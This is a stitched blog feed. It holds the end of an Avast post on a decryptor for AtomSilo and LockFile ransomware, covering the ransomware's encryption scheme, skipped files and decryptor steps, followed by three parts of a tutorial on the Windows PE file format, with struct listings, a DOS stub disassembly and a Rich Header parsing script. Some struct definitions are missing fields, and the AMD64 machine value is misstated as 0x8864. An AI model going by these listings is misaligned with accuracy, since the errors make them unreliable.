.hta .html .exe .dll .cpl .ini
.cab .cur .cpl .drv .hlp .icl
.icns .ico .idx .sys .spl .ocx

LockFile avoids files and folders, containing those sub-strings:

Excluded sub-strings
Windows NTUSER LOCKFILE .lockfile

In addition to that, there is a list of 788 file types (extensions), which won’t be encrypted. Those include .exe, but also .jpg, .bmp and .gif. You may noticed that some of them are included repeatedly.

The ransomware generates RSA-4096 session keypair for each victim. Its private part is then stored in the ransom note file, encrypted by the master RSA key (hardcoded in the binary). A new AES-256 file key is generated for each file. This key is then encrypted by the session RSA key and stored at the end of the encrypted file, together with original file size. 

Each encrypted file contains a ransom note file with one of the names:

  • README-FILE-%ComputerName%-%TimeStamp%.hta
  • LOCKFILE-FILE-%ComputerName%-%TimeStamp%.hta

Encrypted files can be recognized by the .ATOMSILO or .lockfile extension: 

When the encryption process is complete, the ransom note is shown to the user. Each strain’s ransom note has its own look:

AtomSilo Ransom Message
LockFile Ransom Message

How to use the Decryptor

To decrypt your files, please, follow these steps:

  1. Download the free decryptor. The single EXE file covers both ransomware strains.
  2. Simply run the EXE. It starts in form of wizard, which leads you through configuration of the decryption process.
  3. On the initial page, you can see a list of credits. Simply click “Next”
  1. On the next page, select the list of locations which you want to be decrypted. By default, it contains a list of all local drives.
  1. On the third page, you can select whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins.
  1. Let the decryptor work and wait until it finishes.


We would like to thank Jiří Vinopal for sharing analysis of both ransomware strains.


SHA filename
d9f7bb98ad01c4775ec71ec66f5546de131735e6dba8122474cc6eb62320e47b .ATOMSILO
bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce .lockfile

The post Avast releases decryptor for AtomSilo and LockFile ransomware appeared first on Avast Threat Labs.

A dive into the PE file format - PE file structure - Part 4: Data Directories, Section Headers and Sections

27 October 2021 at 01:00
By: 0xRick

A dive into the PE file format - PE file structure - Part 4: Data Directories, Section Headers and Sections


In the last post we talked about the NT Headers and we skipped the last part of the Optional Header which was the data directories.

In this post we’re going to talk about what data directories are and where they are located.
We’re also going to cover section headers and sections in this post.

Data Directories

The last member of the IMAGE_OPTIONAL_HEADER structure was an array of IMAGE_DATA_DIRECTORY structures defined as follows:


IMAGE_NUMBEROF_DIRECTORY_ENTRIES is a constant defined with the value 16, meaning that this array can have up to 16 IMAGE_DATA_DIRECTORY entries:


An IMAGE_DATA_DIRETORY structure is defines as follows:

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;

It’s a very simple structure with only two members, first one being an RVA pointing to the start of the Data Directory and the second one being the size of the Data Directory.

So what is a Data Directory? Basically a Data Directory is a piece of data located within one of the sections of the PE file.
Data Directories contain useful information needed by the loader, an example of a very important directory is the Import Directory which contains a list of external functions imported from other libraries, we’ll discuss it in more detail when we go over PE imports.

Please note that not all Data Directories have the same structure, the IMAGE_DATA_DIRECTORY.VirtualAddress points to the Data Directory, however the type of that directory is what determines how that chunk of data is going to be parsed.

Here’s a list of Data Directories defined in winnt.h. (Each one of these values represents an index in the DataDirectory array):

// Directory Entries

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

If we take a look at the contents of IMAGE_OPTIONAL_HEADER.DataDirectory of an actual PE file, we might see entries where both fields are set to 0:

This means that this specific Data Directory is not used (doesn’t exist) in the executable file.

Sections and Section Headers


Sections are the containers of the actual data of the executable file, they occupy the rest of the PE file after the headers, precisely after the section headers.
Some sections have special names that indicate their purpose, we’ll go over some of them, and a full list of these names can be found on the official Microsoft documentation under the “Special Sections” section.

  • .text: Contains the executable code of the program.
  • .data: Contains the initialized data.
  • .bss: Contains uninitialized data.
  • .rdata: Contains read-only initialized data.
  • .edata: Contains the export tables.
  • .idata: Contains the import tables.
  • .reloc: Contains image relocation information.
  • .rsrc: Contains resources used by the program, these include images, icons or even embedded binaries.
  • .tls: (Thread Local Storage), provides storage for every executing thread of the program.

Section Headers

After the Optional Header and before the sections comes the Section Headers. These headers contain information about the sections of the PE file.

A Section Header is a structure named IMAGE_SECTION_HEADER defined in winnt.h as follows:

typedef struct _IMAGE_SECTION_HEADER {
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
  • Name: First field of the Section Header, a byte array of the size IMAGE_SIZEOF_SHORT_NAME that holds the name of the section. IMAGE_SIZEOF_SHORT_NAME has the value of 8 meaning that a section name can’t be longer than 8 characters. For longer names the official documentation mentions a work-around by filling this field with an offset in the string table, however executable images do not use a string table so this limitation of 8 characters holds for executable images.
  • PhysicalAddress or VirtualSize: A union defines multiple names for the same thing, this field contains the total size of the section when it’s loaded in memory.
  • VirtualAddress: The documentation states that for executable images this field holds the address of the first byte of the section relative to the image base when loaded in memory, and for object files it holds the address of the first byte of the section before relocation is applied.
  • SizeOfRawData: This field contains the size of the section on disk, it must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
    SizeOfRawData and VirtualSize can be different, we’ll discuss the reason for this later in the post.
  • PointerToRawData: A pointer to the first page of the section within the file, for executable images it must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
  • PointerToRelocations: A file pointer to the beginning of relocation entries for the section. It’s set to 0 for executable files.
  • PointerToLineNumbers: A file pointer to the beginning of COFF line-number entries for the section. It’s set to 0 because COFF debugging information is deprecated.
  • NumberOfRelocations: The number of relocation entries for the section, it’s set to 0 for executable images.
  • NumberOfLinenumbers: The number of COFF line-number entries for the section, it’s set to 0 because COFF debugging information is deprecated.
  • Characteristics: Flags that describe the characteristics of the section.
    These characteristics are things like if the section contains executable code, contains initialized/uninitialized data, can be shared in memory.
    A complete list of section characteristics flags can be found on the official Microsoft documentation.

SizeOfRawData and VirtualSize can be different, and this can happen for multiple of reasons.

SizeOfRawData must be a multiple of IMAGE_OPTIONAL_HEADER.FileAlignment, so if the section size is less than that value the rest gets padded and SizeOfRawData gets rounded to the nearest multiple of IMAGE_OPTIONAL_HEADER.FileAlignment.
However when the section is loaded into memory it doesn’t follow that alignment and only the actual size of the section is occupied.
In this case SizeOfRawData will be greater than VirtualSize

The opposite can happen as well.
If the section contains uninitialized data, these data won’t be accounted for on disk, but when the section gets mapped into memory, the section will expand to reserve memory space for when the uninitialized data gets later initialized and used.
This means that the section on disk will occupy less than it will do in memory, in this case VirtualSize will be greater than SizeOfRawData.

Here’s the view of Section Headers in PE-bear:

We can see Raw Addr. and Virtual Addr. fields which correspond to IMAGE_SECTION_HEADER.PointerToRawData and IMAGE_SECTION_HEADER.VirtualAddress.

Raw Size and Virtual Size correspond to IMAGE_SECTION_HEADER.SizeOfRawData and IMAGE_SECTION_HEADER.VirtualSize.
We can see how these two fields are used to calculate where the section ends, both on disk and in memory.
For example if we take the .text section, it has a raw address of 0x400 and a raw size of 0xE00, if we add them together we get 0x1200 which is displayed as the section end on disk.
Similarly we can do the same with virtual size and address, virtual address is 0x1000 and virtual size is 0xD2C, if we add them together we get 0x1D2C.

The Characteristics field marks some sections as read-only, some other sections as read-write and some sections as readable and executable.

PointerToRelocations, NumberOfRelocations and NumberOfLinenumbers are set to 0 as expected.


That’s it for this post, we’ve discussed what Data Directories are and we talked about sections.
The next post will be about PE imports.
Thanks for reading.

A dive into the PE file format - PE file structure - Part 3: NT Headers

24 October 2021 at 01:00
By: 0xRick

A dive into the PE file format - PE file structure - Part 3: NT Headers


In the previous post we looked at the structure of the DOS header and we reversed the DOS stub.

In this post we’re going to talk about the NT Headers part of the PE file structure.

Before we get into the post, we need to talk about an important concept that we’re going to see a lot, and that is the concept of a Relative Virtual Address or an RVA. An RVA is just an offset from where the image was loaded in memory (the Image Base). So to translate an RVA into an absolute virtual address you need to add the value of the RVA to the value of the Image Base. PE files rely heavily on the use of RVAs as we’ll see later.


NT headers is a structure defined in winnt.h as IMAGE_NT_HEADERS, by looking at its definition we can see that it has three members, a DWORD signature, an IMAGE_FILE_HEADER structure called FileHeader and an IMAGE_OPTIONAL_HEADER structure called OptionalHeader.
It’s worth mentioning that this structure is defined in two different versions, one for 32-bit executables (Also named PE32 executables) named IMAGE_NT_HEADERS and one for 64-bit executables (Also named PE32+ executables) named IMAGE_NT_HEADERS64.
The main difference between the two versions is the used version of IMAGE_OPTIONAL_HEADER structure which has two versions, IMAGE_OPTIONAL_HEADER32 for 32-bit executables and IMAGE_OPTIONAL_HEADER64 for 64-bit executables.

typedef struct _IMAGE_NT_HEADERS64 {
    DWORD Signature;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;


First member of the NT headers structure is the PE signature, it’s a DWORD which means that it occupies 4 bytes.
It always has a fixed value of 0x50450000 which translates to PE\0\0 in ASCII.

Here’s a screenshot from PE-bear showing the PE signature:


Also called “The COFF File Header”, the File Header is a structure that holds some information about the PE file.
It’s defined as IMAGE_FILE_HEADER in winnt.h, here’s the definition:

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;

It’s a simple structure with 7 members:

  • Machine: This is a number that indicates the type of machine (CPU Architecture) the executable is targeting, this field can have a lot of values, but we’re only interested in two of them, 0x8864 for AMD64 and 0x14c for i386. For a complete list of possible values you can check the official Microsoft documentation.
  • NumberOfSections: This field holds the number of sections (or the number of section headers aka. the size of the section table.).
  • TimeDateStamp: A unix timestamp that indicates when the file was created.
  • PointerToSymbolTable and NumberOfSymbols: These two fields hold the file offset to the COFF symbol table and the number of entries in that symbol table, however they get set to 0 which means that no COFF symbol table is present, this is done because the COFF debugging information is deprecated.
  • SizeOfOptionalHeader: The size of the Optional Header.
  • Characteristics: A flag that indicates the attributes of the file, these attributes can be things like the file being executable, the file being a system file and not a user program, and a lot of other things. A complete list of these flags can be found on the official Microsoft documentation.

Here’s the File Header contents of an actual PE file:


The Optional Header is the most important header of the NT headers, the PE loader looks for specific information provided by that header to be able to load and run the executable.
It’s called the optional header because some file types like object files don’t have it, however this header is essential for image files.
It doesn’t have a fixed size, that’s why the IMAGE_FILE_HEADER.SizeOfOptionalHeader member exists.

The first 8 members of the Optional Header structure are standard for every implementation of the COFF file format, the rest of the header is an extension to the standard COFF optional header defined by Microsoft, these additional members of the structure are needed by the Windows PE loader and linker.

As mentioned earlier, there are two versions of the Optional Header, one for 32-bit executables and one for 64-bit executables.
The two versions are different in two aspects:

  • The size of the structure itself (or the number of members defined within the structure): IMAGE_OPTIONAL_HEADER32 has 31 members while IMAGE_OPTIONAL_HEADER64 only has 30 members, that additional member in the 32-bit version is a DWORD named BaseOfData which holds an RVA of the beginning of the data section.
  • The data type of some of the members: The following 5 members of the Optional Header structure are defined as DWORD in the 32-bit version and as ULONGLONG in the 64-bit version:
    • ImageBase
    • SizeOfStackReserve
    • SizeOfStackCommit
    • SizeOfHeapReserve
    • SizeOfHeapCommit

Let’s take a look at the definition of both structures.

typedef struct _IMAGE_OPTIONAL_HEADER {
    // Standard fields.

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    // NT additional fields.

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
typedef struct _IMAGE_OPTIONAL_HEADER64 {
    WORD        Magic;
    BYTE        MajorLinkerVersion;
    BYTE        MinorLinkerVersion;
    DWORD       SizeOfCode;
    DWORD       SizeOfInitializedData;
    DWORD       SizeOfUninitializedData;
    DWORD       AddressOfEntryPoint;
    DWORD       BaseOfCode;
    ULONGLONG   ImageBase;
    DWORD       SectionAlignment;
    DWORD       FileAlignment;
    WORD        MajorOperatingSystemVersion;
    WORD        MinorOperatingSystemVersion;
    WORD        MajorImageVersion;
    WORD        MinorImageVersion;
    WORD        MajorSubsystemVersion;
    WORD        MinorSubsystemVersion;
    DWORD       Win32VersionValue;
    DWORD       SizeOfImage;
    DWORD       SizeOfHeaders;
    DWORD       CheckSum;
    WORD        Subsystem;
    WORD        DllCharacteristics;
    ULONGLONG   SizeOfStackReserve;
    ULONGLONG   SizeOfStackCommit;
    ULONGLONG   SizeOfHeapReserve;
    ULONGLONG   SizeOfHeapCommit;
    DWORD       LoaderFlags;
    DWORD       NumberOfRvaAndSizes;
  • Magic: Microsoft documentation describes this field as an integer that identifies the state of the image, the documentation mentions three common values:

    • 0x10B: Identifies the image as a PE32 executable.
    • 0x20B: Identifies the image as a PE32+ executable.
    • 0x107: Identifies the image as a ROM image.

    The value of this field is what determines whether the executable is 32-bit or 64-bit, IMAGE_FILE_HEADER.Machine is ignored by the Windows PE loader.

  • MajorLinkerVersion and MinorLinkerVersion: The linker major and minor version numbers.

  • SizeOfCode: This field holds the size of the code (.text) section, or the sum of all code sections if there are multiple sections.

  • SizeOfInitializedData: This field holds the size of the initialized data (.data) section, or the sum of all initialized data sections if there are multiple sections.

  • SizeOfUninitializedData: This field holds the size of the uninitialized data (.bss) section, or the sum of all uninitialized data sections if there are multiple sections.

  • AddressOfEntryPoint: An RVA of the entry point when the file is loaded into memory. The documentation states that for program images this relative address points to the starting address and for device drivers it points to initialization function. For DLLs an entry point is optional, and in the case of entry point absence the AddressOfEntryPoint field is set to 0.

  • BaseOfCode: An RVA of the start of the code section when the file is loaded into memory.

  • BaseOfData (PE32 Only): An RVA of the start of the data section when the file is loaded into memory.

  • ImageBase: This field holds the preferred address of the first byte of image when loaded into memory (the preferred base address), this value must be a multiple of 64K. Due to memory protections like ASLR, and a lot of other reasons, the address specified by this field is almost never used, in this case the PE loader chooses an unused memory range to load the image into, after loading the image into that address the loader goes into a process called the relocating where it fixes the constant addresses within the image to work with the new image base, there’s a special section that holds information about places that will need fixing if relocation is needed, that section is called the relocation section (.reloc), more on that in the upcoming posts.

  • SectionAlignment: This field holds a value that gets used for section alignment in memory (in bytes), sections are aligned in memory boundaries that are multiples of this value. The documentation states that this value defaults to the page size for the architecture and it can’t be less than the value of FileAlignment.

  • FileAlignment: Similar to SectionAligment this field holds a value that gets used for section raw data alignment on disk (in bytes), if the size of the actual data in a section is less than the FileAlignment value, the rest of the chunk gets padded with zeroes to keep the alignment boundaries. The documentation states that this value should be a power of 2 between 512 and 64K, and if the value of SectionAlignment is less than the architecture’s page size then the sizes of FileAlignment and SectionAlignment must match.

  • MajorOperatingSystemVersion, MinorOperatingSystemVersion, MajorImageVersion, MinorImageVersion, MajorSubsystemVersion and MinorSubsystemVersion: These members of the structure specify the major version number of the required operating system, the minor version number of the required operating system, the major version number of the image, the minor version number of the image, the major version number of the subsystem and the minor version number of the subsystem respectively.

  • Win32VersionValue: A reserved field that the documentation says should be set to 0.

  • SizeOfImage: The size of the image file (in bytes), including all headers. It gets rounded up to a multiple of SectionAlignment because this value is used when loading the image into memory.

  • SizeOfHeaders: The combined size of the DOS stub, PE header (NT Headers), and section headers rounded up to a multiple of FileAlignment.

  • CheckSum: A checksum of the image file, it’s used to validate the image at load time.

  • Subsystem: This field specifies the Windows subsystem (if any) that is required to run the image, A complete list of the possible values of this field can be found on the official Microsoft documentation.

  • DLLCharacteristics: This field defines some characteristics of the executable image file, like if it’s NX compatible and if it can be relocated at run time. I have no idea why it’s named DLLCharacteristics, it exists within normal executable image files and it defines characteristics that can apply to normal executable files. A complete list of the possible flags for DLLCharacteristics can be found on the official Microsoft documentation.

  • SizeOfStackReserve, SizeOfStackCommit, SizeOfHeapReserve and SizeOfHeapCommit: These fields specify the size of the stack to reserve, the size of the stack to commit, the size of the local heap space to reserve and the size of the local heap space to commit respectively.

  • LoaderFlags: A reserved field that the documentation says should be set to 0.

  • NumberOfRvaAndSizes : Size of the DataDirectory array.

  • DataDirectory: An array of IMAGE_DATA_DIRECTORY structures. We will talk about this in the next post.

Let’s take a look at the Optional Header contents of an actual PE file.

We can talk about some of these fields, first one being the Magic field at the start of the header, it has the value 0x20B meaning that this is a PE32+ executable.

We can see that the entry point RVA is 0x12C4 and the code section start RVA is 0x1000, it follows the alignment defined by the SectionAlignment field which has the value of 0x1000.

File alignment is set to 0x200, and we can verify this by looking at any of the sections, for example the data section:

As you can see, the actual contents of the data section are from 0x2200 to 0x2229, however the rest of the section is padded until 0x23FF to comply with the alignment defined by FileAlignment.

SizeOfImage is set to 7000 and SizeOfHeaders is set to 400, both are multiples of SectionAlignment and FileAlignment respectively.

The Subsystem field is set to 3 which is the Windows console, and that makes sense because the program is a console application.

I didn’t include the DataDirectory in the optional header contents screenshot because we still haven’t talked about it yet.


We’ve reached the end of this post. In summary we looked at the NT Headers structure, and we discussed the File Header and Optional Header structures in detail.
In the next post we will take a look at the Data Directories, the Section Headers, and the sections.
Thanks for reading.

A dive into the PE file format - PE file structure - Part 2: DOS Header, DOS Stub and Rich Header

22 October 2021 at 01:02
By: 0xRick

A dive into the PE file format - PE file structure - Part 2: DOS Header, DOS Stub and Rich Header


In the previous post we looked at a high level overview of the PE file structure, in this post we’re going to talk about the first two parts which are the DOS Header and the DOS Stub.

The PE viewer I’m going to use throughout the series is called PE-bear, it’s full of features and has a good UI.

DOS Header


The DOS header (also called the MS-DOS header) is a 64-byte-long structure that exists at the start of the PE file.
it’s not important for the functionality of PE files on modern Windows systems, however it’s there because of backward compatibility reasons.
This header makes the file an MS-DOS executable, so when it’s loaded on MS-DOS the DOS stub gets executed instead of the actual program.
Without this header, if you attempt to load the executable on MS-DOS it will not be loaded and will just produce a generic error.


As mentioned before, it’s a 64-byte-long structure, we can take a look at the contents of that structure by looking at the IMAGE_DOS_HEADER structure definition from winnt.h:

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header

This structure is important to the PE loader on MS-DOS, however only a few members of it are important to the PE loader on Windows Systems, so we’re not going to cover everything in here, just the important members of the structure.

  • e_magic: This is the first member of the DOS Header, it’s a WORD so it occupies 2 bytes, it’s usually called the magic number. It has a fixed value of 0x5A4D or MZ in ASCII, and it serves as a signature that marks the file as an MS-DOS executable.
  • e_lfanew: This is the last member of the DOS header structure, it’s located at offset 0x3C into the DOS header and it holds an offset to the start of the NT headers. This member is important to the PE loader on Windows systems because it tells the loader where to look for the file header.

The following picture shows contents of the DOS header in an actual PE file using PE-bear:

As you can see, the first member of the header is the magic number with the fixed value we talked about which was 5A4D.
The last member of the header (at offset 0x3C) is given the name “File address of new exe header”, it has the value 100, we can follow to that offset and we’ll find the start of the NT headers as expected:

DOS Stub


The DOS stub is an MS-DOS program that prints an error message saying that the executable is not compatible with DOS then exits.
This is what gets executed when the program is loaded in MS-DOS, the default error message is “This program cannot be run in DOS mode.”, however this message can be changed by the user during compile time.

That’s all we need to know about the DOS stub, we don’t really care about it, but let’s take a look at what it’s doing just for fun.


To be able to disassemble the machine code of the DOS stub, I copied the code of the stub from PE-bear, then I created a new file with the stub contents using a hex editor (HxD) and gave it the name dos-stub.exe.

Stub code:

0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 
74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00

After that I used IDA to disassemble the executable, MS-DOS programs are 16-bit programs, so I chose the intel 8086 processor type and the 16-bit disassembly mode.

It’s a fairly simple program, let’s step through it line by line:

seg000:0000                 push    cs
seg000:0001                 pop     ds

First line pushes the value of cs onto the stack and the second line pops that value from the top of stack into ds. This is just a way of setting the value of the data segment to the same value as the code segment.

seg000:0002                 mov     dx, 0Eh
seg000:0005                 mov     ah, 9
seg000:0007                 int     21h             ; DOS - PRINT STRING
seg000:0007                                         ; DS:DX -> string terminated by "$"

These three lines are responsible for printing the error message, first line sets dx to the address of the string “This program cannot be run in DOS mode.” (0xe), second line sets ah to 9 and the last line invokes interrupt 21h.

Interrupt 21h is a DOS interrupt (API call) that can do a lot of things, it takes a parameter that determines what function to execute and that parameter is passed in the ah register.
We see here that the value 9 is given to the interrupt, 9 is the code of the function that prints a string to the screen, that function takes a parameter which is the address of the string to print, that parameter is passed in the dx register as we can see in the code.

Information about the DOS API can be found on wikipedia.

seg000:0009                 mov     ax, 4C01h
seg000:000C                 int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg000:000C                                         ; AL = exit code

The last three lines of the program are again an interrupt 21h call, this time there’s a mov instruction that puts 0X4C01 into ax, this sets al to 0x01 and ah to 0x4c.

0x4c is the function code of the function that exits with an error code, it takes the error code from al, which in this case is 1.

So in summary, all the DOS stub is doing is print the error message then exit with code 1.

Rich Header

So now we’ve seen the DOS Header and the DOS Stub, however there’s still a chunk of data we haven’t talked about lying between the DOS Stub and the start of the NT Headers.

This chunk of data is commonly referred to as the Rich Header, it’s an undocumented structure that’s only present in executables built using the Microsoft Visual Studio toolset.
This structure holds some metadata about the tools used to build the executable like their names or types and their specific versions and build numbers.

All of the resources I have read about PE files didn’t mention this structure, however when searching about the Rich Header itself I found a decent amount of resources, and that makes sense because the Rich Header is not actually a part of the PE file format structure and can be completely zeroed-out without interfering with the executable’s functionality, it’s just something that Microsoft adds to any executable built using their Visual Studio toolset.

I only know about the Rich Header because I’ve read the reports on the Olympic Destroyer malware, and for those who don’t know what Olympic Destroyer is, it’s a malware that was written and used by a threat group in an attempt to disrupt the 2018 Winter Olympics.
This piece of malware is known for having a lot of false flags that were intentionally put to cause confusion and misattribution, one of the false flags present there was a Rich Header.
The authors of the malware overwrote the original Rich Header in the malware executable with the Rich Header of another malware attributed to the Lazarus threat group to make it look like it was Lazarus.
You can check Kaspersky’s report for more information about this.

The Rich Header consists of a chunk of XORed data followed by a signature (Rich) and a 32-bit checksum value that is the XOR key.
The encrypted data consists of a DWORD signature DanS, 3 zeroed-out DWORDs for padding, then pairs of DWORDS each pair representing an entry, and each entry holds a tool name, its build number and the number of times it’s been used.
In each DWORD pair the first pair holds the type ID or the product ID in the high WORD and the build ID in the low WORD, the second pair holds the use count.

PE-bear parses the Rich Header automatically:

As you can see the DanS signature is the first thing in the structure, then there are 3 zeroed-out DWORDs and after that comes the entries.
We can also see the corresponding tools and Visual Studio versions of the product and build IDs.

As an exercise I wrote a script to parse this header myself, it’s a very simple process, all we need to do is to XOR the data, then read the entry pairs and translate them.

Rich Header data:

7E 13 87 AA 3A 72 E9 F9 3A 72 E9 F9 3A 72 E9 F9
33 0A 7A F9 30 72 E9 F9 F1 1D E8 F8 38 72 E9 F9 
F1 1D EC F8 2B 72 E9 F9 F1 1D ED F8 30 72 E9 F9 
F1 1D EA F8 39 72 E9 F9 61 1A E8 F8 3F 72 E9 F9 
3A 72 E8 F9 0A 72 E9 F9 BC 02 E0 F8 3B 72 E9 F9 
BC 02 16 F9 3B 72 E9 F9 BC 02 EB F8 3B 72 E9 F9 
52 69 63 68 3A 72 E9 F9 00 00 00 00 00 00 00 00


import textwrap

def xor(data, key):
	return bytearray( ((data[i] ^ key[i % len(key)]) for i in range(0, len(data))) )

def rev_endiannes(data):
	tmp = [data[i:i+8] for i in range(0, len(data), 8)]
	for i in range(len(tmp)):
		tmp[i] = "".join(reversed([tmp[i][x:x+2] for x in range(0, len(tmp[i]), 2)]))
	return "".join(tmp)

data = bytearray.fromhex("7E1387AA3A72E9F93A72E9F93A72E9F9330A7AF93072E9F9F11DE8F83872E9F9F11DECF82B72E9F9F11DEDF83072E9F9F11DEAF83972E9F9611AE8F83F72E9F93A72E8F90A72E9F9BC02E0F83B72E9F9BC0216F93B72E9F9BC02EBF83B72E9F9")
key  = bytearray.fromhex("3A72E9F9")

rch_hdr = (xor(data,key)).hex()
rch_hdr = textwrap.wrap(rch_hdr, 16)

for i in range(2,len(rch_hdr)):
	tmp = textwrap.wrap(rch_hdr[i], 8)
	f1 = rev_endiannes(tmp[0])
	f2 = rev_endiannes(tmp[1])
	print("{} {} : {}.{}.{}".format(f1, f2, str(int(f1[4:],16)), str(int(f1[0:4],16)), str(int(f2,16)) ))

Please note that I had to reverse the byte-order because the data was presented in little-endian.

After running the script we can see an output that’s identical to PE-bear’s interpretation, meaning that the script works fine.

Translating these values into the actual tools types and versions is a matter of collecting the values from actual Visual Studio installations.
I checked the source code of bearparser (the parser used in PE-bear) and I found comments mentioning where these values were collected from.

//list from: https://github.com/kirschju/richheader
//list based on: https://github.com/kirschju/richheader + pnx's notes

You can check the source code for yourself, it’s on hasherezade’s (PE-bear author) Github page.


In this post we talked about the first two parts of the PE file, the DOS header and the DOS stub, we looked at the members of the DOS header structure and we reversed the DOS stub program.
We also looked at the Rich Header, a structure that’s not essentially a part of the PE file format but was worth checking.

The following image summarizes what we’ve talked about in this post: